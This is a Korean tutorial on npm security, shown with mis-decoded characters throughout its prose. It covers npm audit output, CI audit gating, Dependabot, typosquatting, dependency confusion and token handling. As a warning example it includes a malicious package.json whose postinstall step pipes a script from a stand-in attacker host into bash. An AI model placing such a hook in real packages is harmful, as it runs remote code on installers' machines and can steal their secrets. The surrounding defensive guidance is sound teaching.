๐ ๋ณด์ & npm audit โ ๊ณต๊ธ๋ง ๊ณต๊ฒฉ์์ ํ๋ก์ ํธ๋ฅผ ์ง์ผ๋ผ
๐ ๊ฐ์
npm audit์ ๋์ ์๋ฆฌ๋ถํฐ CI ์๋ํ, ํ ํฐ ๊ด๋ฆฌ, ๊ณต๊ธ๋ง ๊ณต๊ฒฉ ๋ฐฉ์ด๊น์ง โ ์๋์ด๊ฐ ๋น์ฐํ ์์์ผ ํ๋ npm ๋ณด์์ ๋ชจ๋ ๊ฒ
08. ๋ณด์ & npm audit
๐ ๋ชฉ์ฐจ
- ๐ ์ด ๋ฌธ์๋ฅผ ์ฝ๊ธฐ ์ ์
- ๐ค ์ ์์์ผ ํ๋๊ฐ
- ๐ npm audit ํด๋ถ
- ๐ฆ ์ทจ์ฝ์ ์ฌ๊ฐ๋ ๋ฑ๊ธ๊ณผ ๋์ ์ ๋ต
- ๐ง npm audit fix
- โ๏ธ CI ํ์ดํ๋ผ์ธ audit ์๋ํ
- ๐ก๏ธ ๊ณต๊ธ๋ง ๊ณต๊ฒฉ ๋ฐฉ์ด
- ๐ npm ํ ํฐ & .npmrc ๋ณด์ ์ค์
- ๐ ์ด์ ๋ฆฌ
- ๐ ๋ง๋ฌด๋ฆฌ ํด์ฆ
- ๐ฃ ์์ฒ ์ด์ ํด๊ทผ ์ผ๊ธฐ
- ๐ ๋ ์์๋ณด๊ธฐ
๐ ์ด ๋ฌธ์๋ฅผ ์ฝ๊ธฐ ์ ์
โฑ๏ธ ์์ ์ฝ๊ธฐ ์๊ฐ: ์ฝ 30๋ถ(์ ์ฒด) / ํต์ฌ ํํธ๋ง: 15๋ถ
๐บ๏ธ ์ด ๋ฌธ์์ ํ๋ฆ
[npm audit ์๋ฆฌ] โ [์ฌ๊ฐ๋ ๋ฑ๊ธ & ๋์] โ [CI ์๋ํ] โ [๊ณต๊ธ๋ง ๊ณต๊ฒฉ ๋ฐฉ์ด] โ [ํ ํฐ & .npmrc ๋ณด์]
๐ฏ ์ด ๋ฌธ์๋ฅผ ๋ค ์ฝ์ผ๋ฉด ํ ์ ์๋ ๊ฒ
-
npm audit๊ฒฐ๊ณผ๋ฅผ ์ ํํ๊ฒ ํด์ํ๊ณ ์ฐ์ ์์๋ฅผ ์ ํ ์ ์๋ค -
npm audit fix --force์ ์ํ์ฑ์ ์ดํดํ๊ณ ์์ ํ๊ฒ ์ธ ์ ์๋ค - GitHub Actions์์ ์ทจ์ฝ์ ์๋ ๊ฐ์ง & ์ฐจ๋จ ํ์ดํ๋ผ์ธ์ ๊ตฌ์ฑํ ์ ์๋ค
- ๊ณต๊ธ๋ง ๊ณต๊ฒฉ(Dependency Confusion, Typosquatting)์ ํจํด์ ์๊ณ ๋ฐฉ์ดํ ์ ์๋ค
- npm ํ ํฐ์ ์์ ํ๊ฒ ๊ด๋ฆฌํ๊ณ
.npmrc๋ฅผ ๋ณด์ ๊ด์ ์์ ์ค์ ํ ์ ์๋ค
๐บ๏ธ ์ด ๋ฌธ์์ ๋ฐฐ๊ฒฝ ์ธ๊ณ๊ด: '์์๋ค ์ปค๋ฎค๋ํฐ'
- ๐ฃ ์์ฒ ( ์ ์
): "์์ ๋, ๋ฐฐํฌํ๊ณ ๋์ Slack์ ๊ฐ์๊ธฐ ์๋ฆผ์ด ์๋๋ฐ์... ์ ํฌ
node_modules์์ critical ์ทจ์ฝ์ ์ด 5๊ฐ๋ ์๋์. ์์งํ ์ฒ์ ๋ณด๋ ์๊ธด๋ฐ ์ด๋ป๊ฒ ํด์ผ ํ๋์?npm audit fixํ ๋ฒ ๋๋ฆฌ๋ฉด ๋ค ํด๊ฒฐ๋๋์? ์๋๋ฉด ๊ทธ๋ฅ ๋ฌด์ํด๋ ๋๋ ๊ฑด๊ฐ์? ์ฌ์ฉ์๊ฐ ์ง์ ์ฐ๋ ํจํค์ง๊ฐ ์๋๋ผdevDependencies์ชฝ์ธ ๊ฒ ๊ฐ์๋ฐ ๊ทธ๋ฌ๋ฉด ๊ด์ฐฎ์ ๊ฑฐ ์๋๊ฐ์?" - ๐ฆ ์ํธ ( ๋ฆฌ๋ ): "์์ฒ ๋,
devDependencies๋๊น ๊ด์ฐฎ๋ค๋ ์๊ฐ์ ์ ๋ฐ๋ง ๋ง์์. ๋น๋ ์๋ฒ์์ ์ ์ฑ ์ฝ๋๊ฐ ์คํ๋๋ฉด ์์ค์ฝ๋ ์ ์ฒด๊ฐ ์ ์ถ๋ ์ ์๊ฑฐ๋ ์.npm audit fix --force๋ ์ง๊ธ ๋น์ฅ ๋๋ฆฌ์ง ๋ง์ธ์ โ breaking change๊ฐ ์์ฌ ๋ค์ด์์ ๋ ํฐ ์ฅ์ ๋ก ๋ฒ์ง ์ ์์ด์. ๋จผ์ ์ฌ๊ฐ๋ ๋ฑ๊ธ์ ๋ถ๋ฅํ๊ณ , CI์์--audit-level๋ก ์ฐจ๋จ ๊ธฐ์ค์ ์ก์ ๋ค์, ์๋์ผ๋ก ๋ฒ์ ์ ์ฌ๋ฆฌ๋ ๋ฃจํด์ ๋ง๋๋ ๊ฒ ์๋์ด ์์ค์ ๋์์ด์์."
๐ค ์ ์์์ผ ํ๋๊ฐ
ํจํค์ง ํ๋๊ฐ ์ ์ธ๊ณ๋ฅผ ๋ฉ์ถ ๋
2022๋
, colors.js ๋ผ๋ ํจํค์ง์ ๋จ ํ๋์ ๋ฌดํ ๋ฃจํ๊ฐ ์ฌ์ด์ก๋ค. ํ๋ฃจ์์นจ์ AWS CDK, Nest.js ์ํ๊ณ๊ฐ ๋ง๋น๋๋ค. ์ด ํจํค์ง์ ์ฃผ๊ฐ ๋ค์ด๋ก๋ ์๋ ์ฝ 2,000๋ง ๊ฑด ์ด์๋ค.
2021๋
์๋ ๋ ์ถฉ๊ฒฉ์ ์ธ ์ผ์ด ์์๋ค. ua-parser-js ๋ผ๋ ํจํค์ง(์ฃผ๊ฐ 700๋ง ๋ค์ด๋ก๋)๊ฐ ํดํน๋์ด ํฌ๋ฆฝํ ๋ง์ด๋์ ํจ์ค์๋ ํ์ทจ ์คํฌ๋ฆฝํธ ๊ฐ ์ฌ์ด์ง ์ฑ๋ก npm์ ๋ฐฐํฌ๋๋ค. ์ด ํจํค์ง๋ฅผ dependencies ๋ก ์ฐ๋ ์๋น์ค์ ์ฌ์ฉ์ PC์์ ์
์ฑ์ฝ๋๊ฐ ์คํ๋๋ค.
์์๋ค ์ปค๋ฎค๋ํฐ์ฒ๋ผ next, @prisma/client, axios, @tanstack/react-query ๋ฅผ ์ฐ๋ ์๋น์ค๋ผ๋ฉด, ์ด ํจํค์ง๋ค ๊ฐ๊ฐ์ด ๋ ์์ญ~์๋ฐฑ ๊ฐ์ ๊ฐ์ ์์กด์ฑ์ ๋๊ณ ์จ๋ค. ์์ฒ ์ด๊ฐ package.json ์ ์ง์ ์ ์ ์ค์ 20์ค์ด์ง๋ง, ์ค์ ์ค์น๋๋ ํจํค์ง๋ ์๋ฐฑ ๊ฐ๋ค.
์ด ์ค ํ๋๋ผ๋ ๋ซ๋ฆฌ๋ฉด ์ฐ๋ฆฌ ์๋น์ค๋ ๊ทธ ์ฐ์ ๋ฐ์์์ ์์ ๋กญ์ง ์๋ค.
์ด๊ฒ์ด npm ๋ณด์์ "์ ํ"์ด ์๋ "๊ธฐ๋ณธ"์ผ๋ก ๋ค๋ค์ผ ํ๋ ์ด์ ๋ค.
๐ npm audit ํด๋ถ
npm audit ์ ์ด๋ป๊ฒ ๋์ํ๋๊ฐ
npm audit ์ ํ์ฌ ํ๋ก์ ํธ์ ์์กด์ฑ ํธ๋ฆฌ๋ฅผ npm Advisory Database ( ๋ฐ GitHub Advisory Database ) ์ ๋น๊ตํด ์๋ ค์ง ์ทจ์ฝ์ (CVE)์ ๋ณด๊ณ ํ๋ค.
npm audit๋ด๋ถ ๋์ ์์:
1. package-lock.json ํ์ฑ โ ์์กด์ฑ ํธ๋ฆฌ ์ ์ฒด ์์ง
2. npm ๋ ์ง์คํธ๋ฆฌ audit endpoint (POST /-/npm/v1/security/audits) ์ ๋ชฉ๋ก ์ ์ก
3. Advisory DB์ ๊ต์ฐจ ๋น๊ต
4. ์ทจ์ฝ์ ๋ฐ๊ฒฌ ์ CVE ID, ํจํค์ง๋ช
, ์ํฅ ๋ฒ์ ๋ฒ์, ์ฌ๊ฐ๋ ๋ฐํ
5. ํฐ๋ฏธ๋์ ๋ฆฌํฌํธ ์ถ๋ ฅ
audit ๊ฒฐ๊ณผ ์ฝ๋ ๋ฒ
# npm audit
found 8 vulnerabilities (2 moderate, 4 high, 2 critical)
# Run `npm audit fix` to fix them, or `npm audit fix --force` to fix all of them, including breaking changes.
์์ธ ๋ฆฌํฌํธ๋ npm audit --json ์ผ๋ก ํ์ฑ ๊ฐ๋ฅํ JSON ํํ๋ก ๋ฐ์ ์ ์๋ค.
npm audit --json | jq '.vulnerabilities | keys[]'๐ฆ ์ํธ ๋ฆฌ๋์ ํต์ฌ ํฌ์ธํธ: JSON ๋ฆฌํฌํธ ๊ตฌ์กฐ ์ดํด
{
"vulnerabilities": {
// ๐ก ๋ฒ์ธ ๊ฒ๊ฑฐ! axios ํจํค์ง์ ์ฌ๊ฐํ ์ทจ์ฝ์ ์ด ๋ฐ๊ฒฌ๋์ต๋๋ค.
"axios": {
"name": "axios",
"severity": "high", // ๐ฆ ์ํ๋๊ฐ 'high'๋ ๋นจ๋ฆฌ ๊ณ ์ณ์ผ ํด์.
"isDirect": true, // ๐ฏ ๋ด package.json์ ์ง์ ์จ์๋ ๋
์์ด๋ ๋ด๊ฐ ์ง์ ์ฌ๋ฆฌ๋ฉด ๋ฉ๋๋ค!
"via": ["GHSA-wf5p-g6vw-rhxx"],
"effects": ["@tanstack/react-query"],
"range": ">=0.8.1 <1.6.0",
"nodes": ["node_modules/axios"],
"fixAvailable": {
"name": "axios",
"version": "1.6.0",
"isSemVerMajor": false // ๐ก ๋คํํ Major ์
๋ฐ์ดํธ๊ฐ ์๋๋ ์์ ํ๊ฒ ์ฌ๋ฆด ์ ์์ด์!
}
}
},
"metadata": {
"vulnerabilities": {
"total": 8 // ์ ์ฒด 8๊ฐ์ ๊ตฌ๋ฉ(?)์ด ๋ฐ๊ฒฌ๋์ต๋๋ค.
}
}
}ํต์ฌ ํ๋ ํด์:
| ํ๋ | ์๋ฏธ |
|---|---|
isDirect | package.json ์ ์ง์ ๋ช
์๋ ์์กด์ฑ ์ฌ๋ถ (true ๋ฉด ๋ด๊ฐ ์ง์ ์ฌ๋ฆด ์ ์์) |
via | ์ทจ์ฝ์ Advisory ID (GitHub Security Advisory) |
effects | ์ด ํจํค์ง์ ์์กดํ๋ ์์ ํจํค์ง |
range | ์ทจ์ฝํ ๋ฒ์ ๋ฒ์ |
fixAvailable.isSemVerMajor | ์์ ๋ฒ์ ์ด Major ์
๊ทธ๋ ์ด๋์ธ์ง ์ฌ๋ถ (true ๋ฉด breaking change ๊ฐ๋ฅ์ฑ) |
๐ฆ ์ทจ์ฝ์ ์ฌ๊ฐ๋ ๋ฑ๊ธ๊ณผ ๋์ ์ ๋ต
5๋จ๊ณ ์ฌ๊ฐ๋ ๋ฑ๊ธ
| ๋ฑ๊ธ | ์ค๋ช | ๋์ SLA | ์์ |
|---|---|---|---|
| critical | ์๊ฒฉ ์ฝ๋ ์คํ, ์ธ์ฆ ์ฐํ ๋ฑ ์น๋ช ์ | ์ฆ์ (24h ์ด๋ด) | Prototype Pollution์ผ๋ก ์๋ฒ ์ฅ์ ๊ฐ๋ฅ |
| high | ๋ฏผ๊ฐ ์ ๋ณด ๋ ธ์ถ, SSRF, ReDoS ๋ฑ | 72h ์ด๋ด | axios์ CSRF ์ทจ์ฝ์ |
| moderate | DoS, ์ ๋ณด ๋์ถ ๋ฑ | 1~2์ฃผ ์ด๋ด | ํน์ ์ ๋ ฅ์์ ์ ๊ท์ ํญ๋ฐ(ReDoS) |
| low | ๊ฒฝ๋ฏธํ ์ ๋ณด ๋ ธ์ถ | ๋ค์ ์คํ๋ฆฐํธ | ๋ฒ์ ์ ๋ณด ๋ ธ์ถ |
| info | ์ทจ์ฝ์ ์ ์๋์ง๋ง ์ฃผ์ ๊ถ๊ณ | ๊ธฐ๋ก๋ง | deprecated API ์ฌ์ฉ |
devDependencies ์ทจ์ฝ์ ์ ๋ฌด์ํด๋ ๋ ๊น?
์ ๋ฐ๋ง ๋ง๋ ๋ง์ด๋ค.
โ
์์ ํ ๊ฒฝ์ฐ: ๋น๋ ๊ฒฐ๊ณผ๋ฌผ(๋ฒ๋ค)์ ํฌํจ๋์ง ์๋ ์์ ๋ก์ปฌ ๋๊ตฌ
์: eslint, prettier, jest, storybook
โ ๏ธ ์ํํ ๊ฒฝ์ฐ:
1. ๋น๋ ์๋ฒ(CI/CD)์์ ์คํ๋๋ postinstall ์คํฌ๋ฆฝํธ
2. ๋น๋ ๊ณผ์ ์์ ์ฝ๋๋ฅผ ์ฝ๊ณ ์ฒ๋ฆฌํ๋ webpack plugin, babel plugin
3. private ํจํค์ง ๋ ์ง์คํธ๋ฆฌ ์ธ์ฆ ์ ๋ณด๊ฐ ๋
ธ์ถ๋๋ ๊ฒฝ์ฐ
์ค์ ๊ณต๊ฒฉ ์๋๋ฆฌ์ค:
1. ์
์ฑ ํจํค์ง๊ฐ devDependency ๋ก ์ค์น๋จ
2. package.json ์ postinstall ์คํฌ๋ฆฝํธ ์๋ ์คํ
3. ๋น๋ ์๋ฒ์ ํ๊ฒฝ๋ณ์(GITHUB_TOKEN, AWS_SECRET_KEY) ํ์ทจ
4. ์์ค์ฝ๋ ์ ์ฒด ์ธ๋ถ ์ ์ก
์ฆ, CI ํ๊ฒฝ์์ ์คํ๋๋ devDependencies ์ทจ์ฝ์ ์ critical ์์ค์ผ๋ก ๋ค๋ค์ผ ํ๋ค.
๐ง npm audit fix โ ์๋ ์์ ์ ๋ช ๊ณผ ์
npm audit fix (์์ ํ ๋ฒ์ )
SemVer ๋ฒ์ ๋ด์์๋ง ์
๊ทธ๋ ์ด๋ํ๋ค. ^ ๋ฒ์ ์ ์ฝ ์กฐ๊ฑด ์์์ ์์ง์ด๋ฏ๋ก breaking change ๊ฐ ๊ฑฐ์ ์๋ค.
npm audit fix# ์คํ ๊ฒฐ๊ณผ ์์
fixed 4 of 8 vulnerabilities in 312 packages
4 vulnerabilities required manual review and could not be updated
npm audit fix --force (์ํํ ๋ฒ์ )
Major ๋ฒ์ ์ ๊ทธ๋ ์ด๋, ์ฆ breaking change ๋ฅผ ํฌํจํ ๋ชจ๋ ์๋ ์์ ์ ๊ฐํํ๋ค.
# ๐จ ์ฃผ์: ์ด ๋ช
๋ น์ ์ ์คํ๊ฒ ์ฌ์ฉํด์ผ ํ๋ค
npm audit fix --force๐ฃ ์์ฒ ์ด๊ฐ ์์ฃผ ์ ์ง๋ฅด๋ ์ค์:
# โ ์์งํ ์ ๊ทผ โ "๊ทธ๋ฅ ๋ค ๊ณ ์ณ๋ฒ๋ฆฌ์"
npm audit fix --force
git add .
git commit -m "fix: ๋ณด์ ์ทจ์ฝ์ ์์ "
git push origin main๐ฆ ์ํธ ๋ฆฌ๋์ ์์ ํ ๋์ ๋ฃจํด:
# โ
์๋์ด์ ์ ๊ทผ โ ๋จ๊ณ๋ณ๋ก ์์ ํ๊ฒ
# Step 1: ํํฉ ํ์
npm audit --json > audit-report.json
jq '.vulnerabilities | to_entries[] | select(.value.severity == "critical" or .value.severity == "high") | .key' audit-report.json
# Step 2: isDirect ์ธ ์ทจ์ฝ์ ๋ง ๋จผ์ ์๋ ์
๊ทธ๋ ์ด๋
npm install axios@latest
npm install next@latest
# Step 3: ๊ฐ์ ์์กด์ฑ์ overrides ๋ก ๊ณ ์
# package.json ์ ์ถ๊ฐ:
# "overrides": {
# "semver": "^7.5.4"
# }
# Step 4: SemVer ์์ ๋ฒ์ ๋ด ์๋ ์์
npm audit fix
# Step 5: ํ
์คํธ ์คํ ํ ์ปค๋ฐ
npm run test
npm run build
git add package.json package-lock.json
git commit -m "fix: npm audit ์ทจ์ฝ์ ์๋ ์์ (axios, semver)"overrides ๋ก ๊ฐ์ ์์กด์ฑ ํ ๊ณ ์
// package.json
{
"overrides": {
// ๐ฆ "semver"๋ผ๋ ํจํค์ง๊ฐ ์ด๋ ๊น์์ด ์จ์ด์๋ ๊ฐ์, ๋ฌด์กฐ๊ฑด ^7.5.4 ๋ฒ์ ์ ์จ๋ผ!
// ๊ฐ์ ์์กด์ฑ ์ทจ์ฝ์ ์ ์ก๋ ๊ฐ์ฅ ๊ฐ๋ ฅํ ๋ฌด๊ธฐ์
๋๋ค.
"semver": "^7.5.4",
// ํน์ ํจํค์ง(node-forge)๊ฐ ์ฐ๋ ๊ฒ๋ง ์ฝ ์ง์ด์ ๋ฐ๊ฟ ์๋ ์์ด์.
"node-forge": {
"semver": "^7.5.4"
}
}
}โ๏ธ CI ํ์ดํ๋ผ์ธ์์ audit ์๋ํ
--audit-level ํ๋๊ทธ
CI์์๋ ํน์ ์ฌ๊ฐ๋ ์ด์์ด๋ฉด ํ์ดํ๋ผ์ธ์ ์คํจ์ํฌ ์ ์๋ค.
# critical, high ์ทจ์ฝ์ ์ด ์์ผ๋ฉด exit code 1 (๋น๋ ์คํจ)
npm audit --audit-level=high
# moderate ์ด์์ด๋ฉด ์คํจ
npm audit --audit-level=moderateGitHub Actions ์์ฑํ ์ค์
# .github/workflows/security-audit.yml
name: Security Audit
on:
push:
branches: [main, develop]
pull_request:
branches: [main]
# ๐ฆ ๋งค์ผ ์ค์ 9์์๋ ์๋ ์คํ (์๋ก ๋ฐ๊ฒฌ๋ CVE ๋์)
schedule:
- cron: '0 0 * * 1-5' # ํ์ผ ๋งค์ผ UTC 00:00 (KST 09:00)
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version-file: '.nvmrc'
cache: 'npm'
- name: Install dependencies
# ๐ฆ CI์์๋ npm ci โ lockํ์ผ ๊ธฐ์ค์ผ๋ก ์์ ์ฌํ
run: npm ci
- name: Run security audit
# high, critical ์์ ๋น๋ ์ฐจ๋จ
run: npm audit --audit-level=high
# ๐ฃ ์์ฒ : "moderate ๋ ๋ง์์ผ ํ์ง ์๋์?"
# ๐ฆ ์ํธ: "moderate ๊น์ง ๋ง์ผ๋ฉด false positive ๊ฐ ๋๋ฌด ๋ง์์ ํ์ด ์ง์ณ์.
# high/critical ์ฐจ๋จ + moderate ๋ ์ด์ ์์ฑ์ผ๋ก ๊ด๋ฆฌํ๋ ๊ฒ ํ์ค์ ์ด์์."
- name: Create issue on audit failure
if: failure()
uses: actions/github-script@v7
with:
script: |
const { data: issues } = await github.rest.issues.listForRepo({
owner: context.repo.owner,
repo: context.repo.repo,
labels: 'security',
state: 'open'
});
// ์ด๋ฏธ ์ด๋ฆฐ security ์ด์๊ฐ ์์ ๋๋ง ์๋ก ์์ฑ
if (issues.length === 0) {
await github.rest.issues.create({
owner: context.repo.owner,
repo: context.repo.repo,
title: '๐จ [Security] npm audit ์ทจ์ฝ์ ๊ฐ์ง',
body: `## ๋ณด์ ์ทจ์ฝ์ ์ด ๊ฐ์ง๋์์ต๋๋ค\n\n- ๋ฐ์ ์๊ฐ: ${new Date().toISOString()}\n- ์ํฌํ๋ก์ฐ: ${{ github.workflow }}\n- ์ปค๋ฐ: ${{ github.sha }}\n\n\`npm audit\` ๊ฒฐ๊ณผ๋ฅผ ํ์ธํ๊ณ ์ฆ์ ์กฐ์นํด์ฃผ์ธ์.`,
labels: ['security', 'high-priority']
});
}Dependabot ์๋ PR ์ค์
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
day: "monday"
time: "09:00"
timezone: "Asia/Seoul"
# ๐ฆ ํ ๋ฒ์ ๋๋ฌด ๋ง์ PR ์ด ์ด๋ฆฌ๋ฉด ํ์ด ์ง์นจ โ ์ํ์ ์ค์
open-pull-requests-limit: 5
# Major ์
๊ทธ๋ ์ด๋๋ ์๋์ผ๋ก๋ง
ignore:
- dependency-name: "next"
update-types: ["version-update:semver-major"]
- dependency-name: "react"
update-types: ["version-update:semver-major"]
reviewers:
- "youngho-lead"
labels:
- "dependencies"
- "security"๐ก๏ธ ๊ณต๊ธ๋ง ๊ณต๊ฒฉ ๋ฐฉ์ด โ ์ง์ง ์๋์ด์ ์์ญ
๊ณต๊ฒฉ ์ ํ 1: Typosquatting (์คํ ๋์)
์ ๋ช ํจํค์ง์ ๋น์ทํ ์ด๋ฆ์ ์ ์ฑ ํจํค์ง๋ฅผ npm ์ ๋ฑ๋กํ๋ ๊ณต๊ฒฉ์ด๋ค.
๐ฆ ์ ์ ํจํค์ง ๐ฃ ์
์ฑ ํ์ดํฌ์ค์ฟผํ
lodash 1odash (์๋ฌธ์ L โ ์ซ์ 1)
react reect
express expres
@babel/core babe1/core
๋ฐฉ์ด๋ฒ: ์ค์น ์ ๋ฐ๋์ ํ์ธ
# ํจํค์ง ์ ๋ณด ํ์ธ โ ์ฃผ๊ฐ ๋ค์ด๋ก๋ ์, ์ต์ด ํผ๋ธ๋ฆฌ์ ๋ ์ง, ์ ์ง๋ณด์์ ํ์ธ
npm info lodash
# ๊ณต์ GitHub URL ์ด ์๋์ง ํ์ธ
npm info lodash homepage
# ๐ฃ ์์ฒ ์ด๊ฐ ๋ชจ๋ฅด๋ฉด ๋นํ ์ ์๋ ํจํด:
# npm install @yarnpkg/lockfile โ ์ ์
# npm install @yarmpkg/lockfile โ m์ด ๋น ์ง ์
์ฑ ํจํค์ง๊ณต๊ฒฉ ์ ํ 2: Dependency Confusion
๋ด๋ถ private ํจํค์ง์ ๊ฐ์ ์ด๋ฆ์ public npm ์ ๋ฑ๋กํ์ฌ, CI ์๋ฒ๊ฐ public ์ ์ฑ ํจํค์ง๋ฅผ ์ค์นํ๋๋ก ์ ๋ํ๋ ๊ณต๊ฒฉ์ด๋ค.
์ํฉ: ์์๋ค ์ปค๋ฎค๋ํฐ ๋ด๋ถ ํจํค์ง @youngsu/ui-components ์ฌ์ฉ ์ค
์ฌ๋ด Verdaccio (private registry) ์์๋ง ๋ฐฐํฌ
๊ณต๊ฒฉ: ํด์ปค๊ฐ public npm ์ @youngsu/ui-components ๋์ผ ์ด๋ฆ + ๋์ ๋ฒ์ ๋ฑ๋ก
npm ์ ๊ธฐ๋ณธ์ ์ผ๋ก ๋ ๋์ ๋ฒ์ ์ ์ ํธํ๋ฏ๋ก public ์
์ฑ ํจํค์ง ์ค์น
๋ฐฉ์ด๋ฒ: ์ค์ฝํ๋ฅผ private registry ์ ๊ณ ์
# .npmrc
# ๐ฆ [์ฒ ํต ๋ณด์] ์ฐ๋ฆฌ ํ ์ ์ฉ ์ค์ฝํ(@youngsu)๋ ์ธ๋ถnpm์ด ์๋๋ผ ์ฌ๋ด ์๋ฒ์์๋ง ๊ฐ์ ธ์!
# ์ด๋ ๊ฒ ํ๋ฉด ํด์ปค๊ฐ ๋๊ฐ์ ์ด๋ฆ์ผ๋ก ๊ฐ์ง ํจํค์ง๋ฅผ ์ฌ๋ ค๋ ๋์ด์ง ์์์.
@youngsu:registry=https://registry.youngsu-internal.com/
//registry.youngsu-internal.com/:_authToken=${INTERNAL_REGISTRY_TOKEN}
# ๋๋จธ์ง ์ผ๋ฐ ํจํค์ง๋ค์ ํ์๋๋ก ๊ณต์ ๋ ์ง์คํธ๋ฆฌ์์ ๋ฐ์ต๋๋ค.
registry=https://registry.npmjs.org/// package.json ์๋ ๋ช
์ (์ด์ค ๋ฐฉ์ด)
{
"publishConfig": {
"registry": "https://registry.youngsu-internal.com/",
"access": "restricted"
}
}๊ณต๊ฒฉ ์ ํ 3: Malicious postinstall ์คํฌ๋ฆฝํธ
ํจํค์ง์ postinstall ์คํฌ๋ฆฝํธ๋ก ์ค์น ์ฆ์ ์
์ฑ ์ฝ๋๋ฅผ ์คํํ๋ ๊ณต๊ฒฉ์ด๋ค.
// ์
์ฑ ํจํค์ง์ package.json (์์)
{
"name": "malicious-pkg",
"scripts": {
"postinstall": "curl https://evil.com/steal.sh | bash"
}
}๋ฐฉ์ด๋ฒ: ignore-scripts ์ต์
# ์ค์น ์ ์คํฌ๋ฆฝํธ ์คํ ๋นํ์ฑํ
npm install --ignore-scripts
# .npmrc ์ ํ๋ก์ ํธ ์ ์ฒด ์ ์ฉ
# ignore-scripts=true์ฃผ์: ignore-scripts=true ๋ husky ๊ฐ์ ์ ์์ ์ธ postinstall ํ
๋ ๋ง์ผ๋ฏ๋ก, CI ํ๊ฒฝ์์๋ง ์ ํ์ ์ผ๋ก ์ ์ฉํ๋ ๊ฒ์ด ํ์ค์ ์ด๋ค.
# GitHub Actions ์์๋ง ์ ์ฉ
- name: Install (CI, scripts ๋นํ์ฑํ)
run: npm ci --ignore-scripts
env:
NODE_ENV: productionnpm audit signatures (ํจํค์ง ๋ฌด๊ฒฐ์ฑ ๊ฒ์ฆ)
npm v8.13.0 ์ด์์์ ์ง์. ํจํค์ง์ ECDSA ์๋ช ์ ๊ฒ์ฆํ์ฌ ๋ ์ง์คํธ๋ฆฌ์์ ๋ฐ์ ๊ทธ๋๋ก์์ ํ์ธํ๋ค.
npm audit signatures
# Audited 312 packages for signatures.
# โ 312 packages have valid signatures.package-lock.json ์ integrity ํ๋๊ฐ ์ด๋ฏธ ํ๋์ ๋ฐฉ์ด์ :
// package-lock.json
{
"node_modules/axios": {
"version": "1.6.7",
"resolved": "https://registry.npmjs.org/axios/-/axios-1.6.7.tgz",
// SHA-512 ํด์ โ ํ์ผ์ด ๋ณ์กฐ๋๋ฉด ์ค์น ์ ์๋ ๊ฐ์ง
"integrity": "sha512-/hDJGff6/c7u0hDkvkGxR/ib3jet...",
"license": "MIT"
}
}๐ npm ํ ํฐ & .npmrc ๋ณด์ ์ค์
npm ํ ํฐ์ ์ข ๋ฅ
| ํ ํฐ ์ข ๋ฅ | ๊ถํ | ์ฌ์ฉ์ฒ |
|---|---|---|
| Automation | publish ๊ฐ๋ฅ | CI/CD ํ์ดํ๋ผ์ธ |
| Publish | publish ๊ฐ๋ฅ | ๋ก์ปฌ ์๋ ๋ฐฐํฌ |
| Read-only | ์ฝ๊ธฐ๋ง | private ํจํค์ง ์ค์น ์ ์ฉ CI |
| Granular | ํน์ ํจํค์ง/์ค์ฝํ ํ์ | ์ต์ ๊ถํ ์์น |
๐ฆ ์ํธ ๋ฆฌ๋์ ์์น: Granular Token + ์ต์ ๊ถํ
# npm ์น์ฌ์ดํธ โ Access Tokens โ Generate New Token โ Granular Access Token
# ์ค์ : ํน์ ํจํค์ง๋ง, publish ๊ถํ๋ง, IP ํ์ฉ ๋ชฉ๋ก ์ง์ .npmrc ๋ณด์ ์ค์
# .npmrc (ํ๋ก์ ํธ ๋ฃจํธ โ git์ ์ปค๋ฐ)
# ๐ฆ ๋ ์ง์คํธ๋ฆฌ ์ฃผ์ ๊ณ ์ (MITM ๊ณต๊ฒฉ ๋ฐฉ์ด)
registry=https://registry.npmjs.org/
# ํจํค์ง ์ค์น ์ ์คํฌ๋ฆฝํธ ๊ฐ์ฌ ๊ฐ๋
# (๊ธฐ๋ณธ๊ฐ์ด์ง๋ง ๋ช
์์ ์ผ๋ก ์ ์ธ)
audit=true
audit-level=high
# ๐ฆ lock ํ์ผ ์์ผ๋ฉด ์ค์น ์คํจ (CI ์์ ์ฅ์น)
# package-lock.json ์์ด npm ci ๋ฅผ ์๋ํ๋ฉด ์ฆ์ ์๋ฌ
# (npm ci ์์ฒด๊ฐ lock ํ์ผ ๊ฐ์ ํ๋ฏ๋ก, npm install ๋ฐฉ์ง์ฉ)
# save-exact=true โ ^ ์์ด ์ ํํ ๋ฒ์ ๊ณ ์ (์ ํ ์ฌํญ)
# save-exact=true# ~/.npmrc (ํ ๋๋ ํ ๋ฆฌ โ ์ ๋ git ์ ์ปค๋ฐํ์ง ๋ง ๊ฒ!)
# ๊ฐ์ธ npm ํ ํฐ (ํ๊ฒฝ๋ณ์๋ก ๊ด๋ฆฌํ๊ฑฐ๋ ์ฌ๊ธฐ์ ์ง์ ์ ์ฅ)
//registry.npmjs.org/:_authToken=npm_xxxxxxxxxxxx
# private registry ์ธ์ฆ
//registry.youngsu-internal.com/:_authToken=${INTERNAL_REGISTRY_TOKEN}CI ์์ ํ ํฐ ์ฃผ์ ๋ฐฉ๋ฒ
# .github/workflows/publish.yml
- name: Setup npm auth
run: |
echo "//registry.npmjs.org/:_authToken=${{ secrets.NPM_TOKEN }}" > ~/.npmrc
# ๐ฆ .npmrc ํ์ผ์ ์ง์ ๋ง๋ค์ด์ฃผ๋ ๋ฐฉ๋ฒ
# npm ๊ณต์ ๋ฐฉ๋ฒ์ NODE_AUTH_TOKEN ํ๊ฒฝ๋ณ์ ์ฌ์ฉ
- name: Publish (๊ณต์ ๋ฐฉ๋ฒ)
run: npm publish
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}์ ๋ ํ์ง ๋ง์์ผ ํ ๊ฒ๋ค:
# โ ํ ํฐ์ ์ฝ๋์ ์ง์ ํ๋์ฝ๋ฉ
//registry.npmjs.org/:_authToken=npm_REAL_TOKEN_HERE # git ์ ์ฌ๋ฆฌ๋ฉด ์ฆ์ ํ์ทจ
# โ .npmrc ๋ฅผ .gitignore ์์ด ์ปค๋ฐ
# โ ํ ๊ณต์ Slack ์ ํ ํฐ ๋ถ์ฌ๋ฃ๊ธฐ
